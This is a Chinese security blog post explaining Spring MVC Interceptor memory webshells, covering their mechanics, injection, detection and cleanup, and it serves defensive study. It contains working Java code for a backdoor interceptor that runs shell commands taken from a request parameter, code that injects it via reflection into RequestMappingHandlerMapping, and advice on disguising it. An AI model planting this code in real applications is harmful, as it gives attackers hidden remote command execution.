
聊内存马系列今天这篇是第五篇专门说 Spring 场景下的 Interceptor拦截器内存马。前面写 Tomcat 系列的时候评论区一直有人催更 Spring 相关的内容因为我之前拆过 Listener、Filter、Servlet 三种内存马的注入方式和检测思路但那些都还停留在 Servlet 容器层。Spring 框架在 Java 服务端太普及了Spring MVC 的组件关系和纯 Tomcat 容器差别很大而且量产环境下大家写代码都习惯往 Spring 里堆组件攻击面自然也就不一样。这篇我打算把 Spring-Interceptor 内存马从原理到注入流程再到检测清理完整说一遍适合 Java 安全研究、做 Web 安全的同学也适合被怀疑系统被种了马、需要自查的开发和运维朋友。先说点结论性的东西Interceptor 内存马不落盘、不需要重启、不产生业务日志直接藏在 Spring 的请求处理链路里。它不像 Filter 那样在 Servlet 容器层“拦截一切”而是在框架内部“精准拦一路”。很多人觉得拦截器只是个做登录校验、日志记录的小工具恰恰因为这个定位它反而成了内存马攻击里一个非常容易被忽略的落点。1. 为什么偏偏是 Interceptor从 Filter 到拦截器的攻击面迁移1.1 内存马系列走到这里Spring 场景到底特殊在哪我在写 Filter 篇的时候说过Filter 是 Servlet 规范里定义的东西注册位置在容器层一个 Web 应用里所有经过 Servlet 容器的请求都会过 Filter。但这里有个很尴尬的点Spring Boot 应用里Filter 的注册要么靠WebFilterServletComponentScan要么通过FilterRegistrationBean往容器里塞这类行为很容易被一些 Web 防火墙或容器层的 RASP 关注到而且市面上检测 Filter 型内存马的工具已经非常成熟盯着ApplicationFilterChain里filter数组做遍历检测是常规操作。但 Spring MVC 应用真正的业务逻辑入口在DispatcherServlet它内部有一套完全独立的组件体系HandlerMapping、HandlerAdapter、HandlerInterceptor、ControllerAdvice。请求要从 HTTP 达到你的业务代码必经DispatcherServlet这条链路而拦截器恰好就挂在这条链路的中间位置。换句话说Filter 是“小区门口的保安”所有进小区的人都要过他但他只站在门口Interceptor 是“楼栋里的管家”虽然理论上进门也要他管但他直接站在你家楼层里离业务代码更近也更隐蔽。更关键的是Filter 的内存马需要操作ServletContext或者容器的 Filter 链这些东西在 Spring 应用里往往有明确的容器生命周期管理动起来痕迹重。而 Interceptor 是 Spring 容器自己管理的 bean攻击者一旦拿到了 Spring 上下文ApplicationContext理论上可以在内存里直接生成一个拦截器对象塞进现有的 HandlerMapping整个过程不碰磁盘、不写配置文件、不触发任何“新增文件”警报完全是一套 Java 反射操作。1.2 拦截器作为内存马的天然优势站在攻击者视角选 Interceptor 做内存马有几个很现实的好处不落盘纯内存对象和普通业务 bean 长得一样常规文件查杀完全无效。注册方式多样可以通过动态代理、BeanPostProcessor、反射改写内部集合等手段藏进框架里伪装成正常业务组件。触发路径灵活HandlerInterceptor的preHandle方法在每次请求处理之前都会被调用只要匹配到指定路径或参数就能激活等于给攻击者留了一个“后门开关”。绕过检测很多安全产品盯着 Tomcat 的Filter和Servlet容器对象做检查但很少有人会去检查RequestMappingHandlerMapping里adaptedInterceptors这个 List 里装了什么。我见过一个比较典型的场景某系统被种了一个拦截器型内存马目标接口是/api/user/info恶意拦截器只在 URL 里带特定参数时才执行命令平时完全放行流量层看就是一次普通业务请求。最后排查的时候业务日志、访问日志、Web 防火墙全部无感最后是靠人工翻了 Spring 容器里的 bean 列表才找到可疑对象。这就是拦截器内存马最让人头疼的地方——不是它多难实现而是它太容易被当成正常组件。2. 先吃透机制拦截器在 Spring MVC 请求链路中的位置2.1 从 DispatcherServlet 到 HandlerExecutionChain要把内存马原理说清楚首先得明白一次请求在 Spring MVC 里到底是怎么流转的。核心入口是DispatcherServlet它的doDispatch方法大致做了几件事根据请求 URL 调用getHandler(request)找到对应的HandlerExecutionChain。如果找到了处理器就调用applyPreHandle把链路上的所有拦截器的preHandle方法先跑一遍。调用ha.handle()真正执行Controller里的业务逻辑。最后执行applyPostHandle调用所有拦截器的postHandle方法。关键在于getHandler()。Spring MVC 里有一个HandlerMapping的抽象层负责把请求 mapping 到对应的 handler。默认的主力实现是RequestMappingHandlerMapping它维护了一个很核心的成员变量——handlerMethods里面放着 URL 到HandlerMethod的映射。但注意getHandler()返回的不是裸的HandlerMethod而是一个HandlerExecutionChain对象这个对象的内部结构大致是public class HandlerExecutionChain { private final Object handler; // 真正的 Controller 方法 private HandlerInterceptor[] interceptors; // 拦截器数组 private ListHandlerInterceptor interceptorList; // 拦截器动态列表 }再往深看AbstractHandlerMapping的getHandler()方法里有一段逻辑HandlerExecutionChain executionChain getHandlerExecutionChain(handler, request);而getHandlerExecutionChain会把adaptedInterceptors和针对当前请求匹配到的MappedInterceptor合并起来最终装进HandlerExecutionChain。也就是说拦截器不是直接挂在 Controller 上的而是挂在请求到 Controller 之间的这条链路上。2.2 注册拦截器的两种正经方式正常的业务项目里注册一个拦截器通常有两种写法。一种是实现HandlerInterceptor接口然后在配置类里通过WebMvcConfigurer#addInterceptors注册Configuration public class WebConfig implements WebMvcConfigurer { Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new AuthInterceptor()) .addPathPatterns(/api/**) .excludePathPatterns(/api/login); } }另一种是直接定义一个HandlerInterceptor的Bean但这种方式其实不会默认生效Spring Boot 里一般还是要配合WebMvcConfigurer才能挂到链路上。这里要特别注意InterceptorRegistry。这个类里有一个ListInterceptorRegistration registrations当你调用registry.addInterceptor()时实际上是把拦截器包装成了InterceptorRegistration对象注册过程中最终会被转换成MappedInterceptor或者直接加进adaptedInterceptors。这个转换逻辑才是理解内存马注入的关键。2.3 关键数据结构adaptedInterceptors 和 mappedInterceptorsAbstractHandlerMapping中有两个关键字段private final ListObject adaptedInterceptors new ArrayList(); private final ListMappedInterceptor mappedInterceptors new ArrayList();adaptedInterceptors保存已经适配好的拦截器对象可能是HandlerInterceptor实例也可能是WebRequestInterceptor等经过适配后的对象。没有路径限制的拦截器一般直接放在这里。mappedInterceptors保存带路径匹配规则的MappedInterceptor比如addPathPatterns(/api/**)注册出来的拦截器就会在这里。MappedInterceptor内部有PathPattern或AntPathMatcher用于路径匹配。这两个字段才是“鱼龙混杂”的地方。攻击者注入内存马本质上就是想办法让自己的恶意拦截器出现在这两个集合里。后面我会讲三种具体手段但核心都是围绕这两个字段做文章。从检测角度看这两个字段就是排查的“显微镜”。安全人员只要能把RequestMappingHandlerMapping里这两个集合的内容完整 dump 出来挨个看类名、classloader、生效路径就能判断有没有异常。3. 注入思路原理拆解攻击者到底改了什么3.1 思路一反射改写 adaptedInterceptors第一种注入思路最直接既然请求链路上的拦截器最终来自adaptedInterceptors和mappedInterceptors那我直接把我自己写的恶意拦截器塞进去不就行了技术上完全可行步骤如下从 Spring 容器中获取RequestMappingHandlerMapping这个 bean。反射拿到父类AbstractHandlerMapping里adaptedInterceptors字段的Field对象。将其设为可访问读取当前的ListObject。把自己构造的恶意HandlerInterceptor实例 add 进这个 List。后续新请求到来时getHandler()构造HandlerExecutionChain时会自动把新增的拦截器挂进链路内存马立即生效。这里给一个原理性的代码片段// 获取 Spring 容器中的 RequestMappingHandlerMapping RequestMappingHandlerMapping handlerMapping context.getBean(RequestMappingHandlerMapping.class); // 反射获取 adaptedInterceptors 字段 Field field AbstractHandlerMapping.class.getDeclaredField(adaptedInterceptors); field.setAccessible(true); ListObject adaptedInterceptors (ListObject) field.get(handlerMapping); // 追加恶意拦截器 adaptedInterceptors.add(new EvilInterceptor());注意这段代码只展示了原理实际攻击中不可能直接context.getBean()而是要通过各种方式先拿到ApplicationContext后面我会详细说。另外有一个容易踩的坑你不能自己new ArrayList然后set回去那样会把原来项目里的正常拦截器全部替换掉轻则登录校验失效重则直接报错暴露自己。正确做法是在原 List 上直接 add。3.2 思路二把自己注册成一个 MappedInterceptor第二种思路更隐蔽一些原理也简单把恶意拦截器包装成MappedInterceptor并指定路径匹配规则然后塞进mappedInterceptors里。MappedInterceptor mappedInterceptor new MappedInterceptor(new String[]{/**}, evilInterceptor); Field field AbstractHandlerMapping.class.getDeclaredField(mappedInterceptors); field.setAccessible(true); ListMappedInterceptor mappedInterceptors (ListMappedInterceptor) field.get(handlerMapping); mappedInterceptors.add(mappedInterceptor);用MappedInterceptor包装的好处是它自带路径匹配攻击者可以精确指定后门只作用于某个 URL、甚至某个 URL 的某种请求方法平时完全隐形只有触发条件满足时才激活。同时mappedInterceptors里本来就可能有大量的正常业务拦截器多一个MappedInterceptor对象从 List 内容上看并不突兀不容易引起注意。还有一种变体是把注入动作放到 BeanPostProcessor 里执行。攻击者可以在内存中动态生成一个BeanPostProcessor利用它在 Spring 容器初始化 bean 的过程中偷偷把恶意拦截器纳入RequestMappingHandlerMapping。这种方式的好处是执行时机早、上下文完整能拿到所有需要的依赖。坏处是 BeanPostProcessor 本身也是一个 bean在容器里会增加一个可疑类名但很多系统 bean 数量庞大浑水摸鱼绰绰有余。3.3 两种路线的取舍与实战选型两种路线我给个个人看法直接改adaptedInterceptors实现最快代码最少但adaptedInterceptors里一般存放的是无路径限制的全局拦截器如果系统里原本就没有全局拦截器那多出来的一个就会比较扎眼。注册MappedInterceptor稍微绕一下但更稳因为路径匹配特性让它看起来像一个正常业务拦截器。而且MappedInterceptor是 Spring 官方就有的类很多排查人员遍历到它的时候很容易直接跳过觉得是正常的“路径映射拦截器”。要是真从攻击者角度做“稳”而不是“快”我大概率会选择第二种再加上一层伪装——把恶意拦截器的类名写得像业务代码比如UserAuthCheckInterceptor甚至让它实现里面带有一些看起来像日志、鉴权的逻辑。防的就是那种只扫类名和拦截器数量的粗粒度检测。作为安全研究人员我需要强调一句搞懂这些注入原理不是为了教人做坏事而是为了在检测的时候知道该往哪儿看。你如果连攻击者可能改哪些字段都不知道排查的时候就像无头苍蝇。4. 完整注入流程与实现细节从拿到上下文到触发回显4.1 第一步拿到 Spring 上下文拦截器是 Spring 容器管理的对象往里面注入第一关就是拿ApplicationContext。在内存马场景下攻击者通常是想通过一个 HTTP 请求来触发注入所以常见的方式是从请求对象反推容器上下文。在 Spring Boot 内嵌 Tomcat 的场景下最常见的做法是通过RequestContextHolder拿到当前请求的ServletContext再用WebApplicationContextUtils把 Spring 的WebApplicationContext反推出来ServletRequestAttributes attributes (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); if (attributes null) { return; } HttpServletRequest request attributes.getRequest(); ServletContext servletContext request.getServletContext(); WebApplicationContext context WebApplicationContextUtils.getWebApplicationContext(servletContext);这个方法的本质是ServletContext里有个全局的属性里面存了 Spring 的根上下文WebApplicationContextUtils只是把它取出来而已。所以只要你人在 JVM 进程里有任意一条 HTTP 请求的执行入口就能顺着这条线摸到整个 Spring 容器。这也是为什么内存马能“无文件化”运行的核心原因——不走磁盘只走对象引用链。4.2 第二步实现恶意拦截器有了上下文下一步就是构造恶意拦截器。一个标准的HandlerInterceptor有三个方法preHandle、postHandle、afterCompletion。内存马最常用的触发点是preHandle因为它在 Controller 执行之前被调用攻击者可以在请求参数里藏指令执行完命令后再决定放行还是返回伪造的响应。我以安全研究视角给个最小示例public class EvilInterceptor implements HandlerInterceptor { Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd request.getParameter(cmd); if (cmd ! null) { Process process Runtime.getRuntime().exec(cmd); java.io.InputStream in process.getInputStream(); // 读取命令执行结果写入 response // ... return false; // 直接拦截不再放行到 Controller } return true; } }重点说几个细节preHandle返回值是 boolean。返回false意味着请求到此为止后面 Controller 不会执行。攻击者通常会在执行完命令后返回false避免业务逻辑继续跑减少暴露。触发条件要做得克制。正常业务请求不带cmd参数时恶意拦截器必须完全放行返回true这样不影响现有系统功能也不会因为接口报错引来注意。命令回显这块不同的 Spring 版本响应对象获取方式略有差异但preHandle方法签名里直接就有HttpServletResponse这是标准接口从 Servlet 3.0 到 Jakarta Servlet 都保留了这个方法兼容性比想象中好。4.3 第三步反射注入到 HandlerMapping到这步就是核心注入动作了。把恶意拦截器塞进adaptedInterceptors或者包装成MappedInterceptor塞进去。完整流程如下// 1. 获取 RequestMappingHandlerMapping RequestMappingHandlerMapping handlerMapping context.getBean(RequestMappingHandlerMapping.class); // 2. 反射获取 adaptedInterceptors 字段注意字段在父类 AbstractHandlerMapping 里 Class? clazz Class.forName(org.springframework.web.servlet.handler.AbstractHandlerMapping); Field field clazz.getDeclaredField(adaptedInterceptors); field.setAccessible(true); SuppressWarnings(unchecked) ListObject adaptedInterceptors (ListObject) field.get(handlerMapping); // 3. 如果原列表为空先初始化 if (adaptedInterceptors null) { adaptedInterceptors new ArrayList(); field.set(handlerMapping, adaptedInterceptors); } // 4. 加入恶意拦截器 adaptedInterceptors.add(new EvilInterceptor());这里有几个坑需要专门提醒字段名adaptedInterceptors在不同 Spring 版本里基本稳定但如果你用的是非常老版本的 Spring字段名可能有差异。稳妥的排查和验证方式是先反射把字段遍历一遍看类型别盲目写死字段名。Spring 5.3 之后路径匹配策略从AntPathMatcher转向了PathPattern但adaptedInterceptors这个字段本身没有变化所以新版本老版本通吃。有的环境下RequestMappingHandlerMapping可能被二次包装或代理了直接getBean拿到的可能不是原始对象攻击者会顺着target字段一层层扒到最底层的真实实例。这个对排查方向的启示是光看代理对象看不到真实拦截器列表要能穿透代理。注入完之后不需要重启不需要重新编译当前进程内后续所有匹配的请求都会撞上这个恶意拦截器。实测下来Spring Boot 2.x 和 Spring Boot 3.x 里用同样思路都有效只要 HandlerMapping 的 Bean 还在容器里。4.4 补充路由与回显的常见玩法拦截器型内存马一般不是靠 URL 来定位的因为拦截器本身没有 URL 映射它是在请求匹配 Controller 之前“插一脚”。所以它的触发方式大体有三类按参数触发URL 里带特定参数cmd、evil、debug等激活命令执行。按路径触发请求某个特定 URL比如/api/health预埋在拦截器里做一个 if 判断命中就执行逻辑。按 Header 触发请求头里带某个特定值比如X-Forwarded-For: 127.0.0.1时激活。这种方式最隐蔽因为 Header 在流量层不会留下明显的“恶意参数”特征。回显方面比较简单粗暴的思路是基于HttpServletResponse直接写响应体。还有一种思路是直接把命令执行结果写进请求的响应头或者写进一个全局静态变量里然后通过另一个接口去读这个相对复杂但在一些特殊环境下更好用。核心原因在于拦截器的preHandle方法里拿到的response对象和 Controller 里拿到的是同一个直接往里面写内容没有障碍。5. 检测与清理把藏起来的拦截器逼出来5.1 自查思路与特征信号排查拦截器内存马第一件事是别瞎猜直接把 Spring 容器里所有HandlerMapping的拦截器集合 dump 出来看。我比较推荐写一个简单的排查代码或者直接在环境里用反射查手段是透明的// 获取所有 HandlerMapping 类型的 bean MapString, HandlerMapping mappingBeans context.getBeansOfType(HandlerMapping.class); for (HandlerMapping mapping : mappingBeans.values()) { Field field AbstractHandlerMapping.class.getDeclaredField(adaptedInterceptors); field.setAccessible(true); ListObject interceptors (ListObject) field.get(mapping); for (Object interceptor : interceptors) { System.out.println(Interceptor: interceptor.getClass().getName() | ClassLoader: interceptor.getClass().getClassLoader()); } // 同理遍历 mappedInterceptors }重点看三个信号类名异常一个正常的业务系统拦截器类名通常和业务模块强相关比如AuthInterceptor、RateLimitInterceptor、LogInterceptor。突然出现一个乱码类名、随意命名的类或者类名看着很像业务但实际包路径诡异比如org.springframework.evil就需要警惕。ClassLoader 异常正常业务类的 ClassLoader 一般是应用的AppClassLoader。如果某个拦截器的 ClassLoader 是自定义的、或者是通过defineClass动态加载的几乎可以断定有问题。路径匹配过宽看MappedInterceptor的匹配路径如果你是排查方发现一个刚出现的拦截器匹配的是/**所有请求那就非常有理由怀疑它。我见过一个很有意思的案例排查方把adaptedInterceptorsdump 出来后发现里面有个类名叫ShadowHandlerInterceptor路径匹配为所有 API 开头但业务团队没有任何人认识这个类。一查 ClassLoader 发现是自定义加载器动态加载的确认就是内存马。所以无脑扫描文件没用关键是要能看到内存里到底挂了什么。5.2 排查与清理实操记录一旦发现可疑拦截器清理的思路就是反向操作从adaptedInterceptors或者mappedInterceptors里把它移除。// 伪代码从拦截器集合中移除目标 adaptedInterceptors.remove(targetInterceptor); // 或者从 MappedInterceptor 列表中移除 mappedInterceptors.remove(targetMappedInterceptor);操作上有一点需要特别注意如果是通过 BeanPostProcessor 注入的拦截器直接 remove 掉集合里的对象不一定彻底因为 BeanPostProcessor 本身可能还挂在 bean 工厂的处理器链上后面还会再把它加回去。所以生产环境一旦确认内存马我的个人建议是先隔离再在应急窗口里做 kill -9 加上重启最后彻底检查代码和依赖清单。不要想着“热清理”一劳永逸因为内存马手段是活的你 remove 完它可能又通过别的机制复活。另外排查的时候要注意防止触发后门。恶意拦截器很多是按参数触发的你测试的时候不要真的带cmd参数去访问否则等于把命令执行的机会亲手送到门口。正确的做法是用反射 dump 它的类加载器、类名、路径先摘除 classloader再隔离对象。5.3 防御与加固建议怎么防这类攻击我给几条实在的建议加强依赖和框架本身的漏洞修复。很多内存马注入的本质是业务系统存在 RCE 漏洞反序列化、SpEL 表达式注入、JNDI 注入等一旦攻击者能执行代码后面注入内存马只是时间问题。堵住入口永远比清理出口重要。对RequestMappingHandlerMapping做运行期监控。如果系统里已经有 RASP Agent可以针对AbstractHandlerMapping的adaptedInterceptors和mappedInterceptors两个字段的add方法做 Hook一旦有非预期对象加入就报警。没有 RASP 的话定时任务每个月跑一遍“拦截器白名单校验”也有用。关注 ClassLoader 变化。很多内存马都是通过自定义ClassLoader加载恶意类进入容器的如果一个 ClassLoader 不在应用启动时声明的列表里那基本就是异常信号。收窄 Spring MVC 的路径匹配范围。如果系统不需要/**级别的全局拦截就别让任何拦截器挂在全路径上这样即使被注入恶意拦截器的匹配路径也会暴露得很明显。说实话拦截器内存马最让我难受的地方不是它多难发现而是太多团队根本不会去检查“框架内部组件”我在实际排查经历里见过太多人一听到“内存马”就条件反射去翻 Tomcat 的Filter配置、去看/tmp下面的文件唯独没人打开 Spring 容器看一眼RequestMappingHandlerMapping里到底装了什么。等到确认是 Spring 层的内存马时黄花菜都凉了。所以这篇文章最后我还是想说一句内存马防御的本质是“看不见的信任边界”你以为的安全边界在 Filter 层、在文件系统但真正的风险往往就藏在框架内部的某个ArrayList里。多花一点时间把手伸进 Spring 容器里数一数拦截器的数量、记一记它们的类名比装十个扫描器都管用。